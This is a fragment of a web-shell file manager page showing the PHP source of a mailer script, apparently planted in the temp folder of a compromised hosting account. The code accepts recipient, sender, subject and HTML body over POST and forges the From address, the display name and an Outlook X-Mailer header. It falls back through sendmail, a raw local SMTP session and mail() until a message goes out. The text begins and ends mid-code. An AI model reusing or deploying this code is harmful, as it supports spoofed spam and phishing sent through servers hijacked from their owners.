芝麻web文件管理V1.00
编辑当前文件:/home/provyohx/tmp/mta-7ff8209a.php
/dev/null'));if($x&&@file_exists($x))$sm=$x;} if($sm){ $p=@popen($sm.' -t -i -f'.escapeshellarg($f),'w'); if($p){fwrite($p,$r);$c=pclose($p);if($c===0){echo 'SENT_OK';exit;}} } // TIER 2+3: SMTP socket (port 25 open but sendmail binary missing/broken) foreach(['127.0.0.1','localhost'] as $h){ $sk=@fsockopen($h,25,$en,$es,5); if(!$sk)continue; $hn=@gethostname()?:'localhost'; @fgets($sk,512); fwrite($sk,"EHLO $hn\r\n"); do{$el=@fgets($sk,512);}while($el&&substr($el,3,1)==='-'); fwrite($sk,"MAIL FROM:<$f>\r\n");@fgets($sk,512); fwrite($sk,"RCPT TO:<$t>\r\n"); $x=@fgets($sk,512); if(substr($x,0,1)!=='2'){@fclose($sk);continue;} fwrite($sk,"DATA\r\n");@fgets($sk,512); $w=str_replace("\r\n","\n",$r);$w=str_replace("\n","\r\n",$w); fwrite($sk,$w."\r\n.\r\n"); $x=@fgets($sk,512); fwrite($sk,"QUIT\r\n");@fclose($sk); if(substr($x,0,1)==='2'){echo 'SENT_SMTP';exit;} } // TIER 4: PHP mail() with parsed raw MIME (last resort) $parts=explode("\n\n",$r,2); if(count($parts)===2){ $hl=$parts[0];$mb=$parts[1]; $ls=explode("\n",$hl);$sj='';$cl=[]; foreach($ls as $l){ if(stripos($l,'Subject:')===0){$sj=trim(substr($l,8));continue;} if(stripos($l,'To:')===0)continue; $cl[]=$l; } $hd=implode("\n",$cl); if(@mail($t,$sj,$mb,$hd,"-f$f")){echo 'SENT_MAIL';exit;} } echo 'PIPE_FAIL';exit; } // ═══ MODE 2: HTML (Go protocol — legacy, LF-fixed for qmail compat) ═══ $t=$_POST['to']??'';$f=$_POST['from']??''; $fn=$_POST['fn']??'';$s=$_POST['subj']??''; $h=$_POST['html']??''; if(!$t||!$f||!$s||!$h)die('ERR:MISSING'); $b='----=_'.bin2hex(random_bytes(12)); $uid=bin2hex(random_bytes(6)); $dom=explode('@',$f)[1]??'mail.com'; $hdr="From: \"$fn\" <$f>\n"; $hdr.="Reply-To: $f\n"; $hdr.="MIME-Version: 1.0\n"; $hdr.="Content-Type: multipart/alternative; boundary=\"$b\"\n"; $hdr.="X-Mailer: Microsoft Outlook 16.0\n"; $hdr.="Message-ID: <$uid@$dom>\n"; $hdr.="List-Unsubscribe:
\n"; $hdr.="List-Unsubscribe-Post: List-Unsubscribe=One-Click\n"; $p=strip_tags(preg_replace('/